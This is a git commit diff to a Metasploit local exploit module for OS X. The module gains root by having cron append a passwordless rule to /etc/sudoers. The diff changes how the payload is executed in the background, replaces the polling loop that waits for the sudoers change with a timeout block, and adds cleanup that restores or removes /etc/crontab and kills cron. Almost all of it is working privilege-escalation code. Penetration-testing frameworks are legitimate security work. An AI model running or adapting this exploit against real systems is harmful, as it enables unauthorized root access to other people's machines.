Fixed issue w/ msf payloads + added timeout rescue

Apparently when OS X payload shells get a sudo command, it requires a full path (even though it clearly has $PATH defined in its env...) to that file. The updates here take that into account. Also, the script more directly catches a timeout error when the maximum time for sudoers file to change has passed.
bug/bundler_fix
Sam H 2015-10-25 23:38:48 -07:00
parent 348a0f9e3d
commit 5fcc70bea4
1 changed files with 36 additions and 24 deletions

View File

@ -69,6 +69,7 @@ class Metasploit4 < Msf::Exploit::Local
vprint_status("Writing payload to #{payload_file}.")
write_file(payload_file, payload_source)
vprint_status("Finished writing payload file.")
register_file_for_cleanup(payload_file)
elsif payload.arch.include? ARCH_PYTHON
vprint_status("No need to write payload. Will simply execute after exploit")
vprint_status("Payload encodeded is #{payload.encoded}")
@ -80,10 +81,11 @@ class Metasploit4 < Msf::Exploit::Local
# Execute payload
print_status('Executing payload...')
if payload.arch.include? ARCH_X86_64
cmd_exec("sudo chmod +x #{payload_file}; sudo #{payload_file}")
cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown")
elsif payload.arch.include? ARCH_PYTHON
cmd_exec("sudo python -c \"#{payload.encoded}\"")
cmd_exec("python -c \"#{payload.encoded}\" & disown")
end
vprint_status("Finished executing payload.")
end
def os_check
@ -105,10 +107,8 @@ class Metasploit4 < Msf::Exploit::Local
end
def sploit
user = cmd_exec("whoami").split(" ")
if user.length > 1 then user = user[1] end
vprint_status("The current user is #{user}. start of sploit")
user = cmd_exec("whoami").chomp
vprint_status("The current effective user is #{user}. Starting the sploit")
# Get size of sudoers file
sudoer_path = "/etc/sudoers"
size = get_stat_size(sudoer_path)
@ -134,23 +134,25 @@ class Metasploit4 < Msf::Exploit::Local
# Wait for sudoers to change
new_size = get_stat_size(sudoer_path)
vprint_status("Got sudoers size again")
counter = 0
wait_time = datastore["WaitTime"]
print_status("Waiting for sudoers file to change..")
while new_size == size && counter < wait_time
Rex.sleep(1)
new_size = get_stat_size(sudoer_path)
counter += 1
end
print_status("Waiting for sudoers file to change...")
if counter >= wait_time
fail_with(Failure::TimeoutExpired, "Sudoers file still has not changed after #{counter} seconds. Try increasing WaitTime.")
# Start timeout block
begin
Timeout.timeout(datastore['WaitTime']) {
while new_size <= size
Rex.sleep(1)
new_size = get_stat_size(sudoer_path)
end
}
rescue Timeout::Error
fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.")
end
print_good("Sudoers file has changed!")
# Confirming root access
user = cmd_exec("sudo whoami")
print_status("Attempting to start root shell...")
cmd_exec("sudo -s su")
user = cmd_exec("whoami")
unless user.include? "root"
fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}")
end
@ -183,21 +185,31 @@ class Metasploit4 < Msf::Exploit::Local
end
def cleanup
# Include superclass cleanup
vprint_status("Starting the cron restore process...")
super
# Restore crontab back to is original state
# If we don't do this, then cron will continue to append the no password rule to sudoers.
if @crontab_original.nil?
# Erase crontab file and kill cron process since it did not exist before
vprint_status("Removing crontab file since it did not exist prior to exploit. No need for it anymore.")
rm_f("/etc/crontab")
vprint_status("Killing cron process and removing crontab file since it did not exist prior to exploit.")
rm_ret = cmd_exec("rm /etc/crontab 2>/dev/null; echo $?")
if rm_ret.chomp.to_i == 0
vprint_good("Successfully removed crontab file!")
else
print_warning("Could not remove crontab file.")
end
Rex.sleep(1)
cmd_exec("sudo kill $(pgrep cron)")
kill_ret = cmd_exec("killall cron 2>/dev/null; echo $?")
if kill_ret.chomp.to_i == 0
vprint_good("Succesfully killed cron!")
else
print_warning("Could not kill cron process.")
end
else
# Write back the original content of crontab
vprint_status("Restoring crontab file back to original contents. No need for it anymore.")
write_file("/etc/crontab", @crontab_original)
cmd_exec("echo '#{@crontab_original}' > /etc/crontab")
end
vprint_status("Finished the cleanup process.")
end
end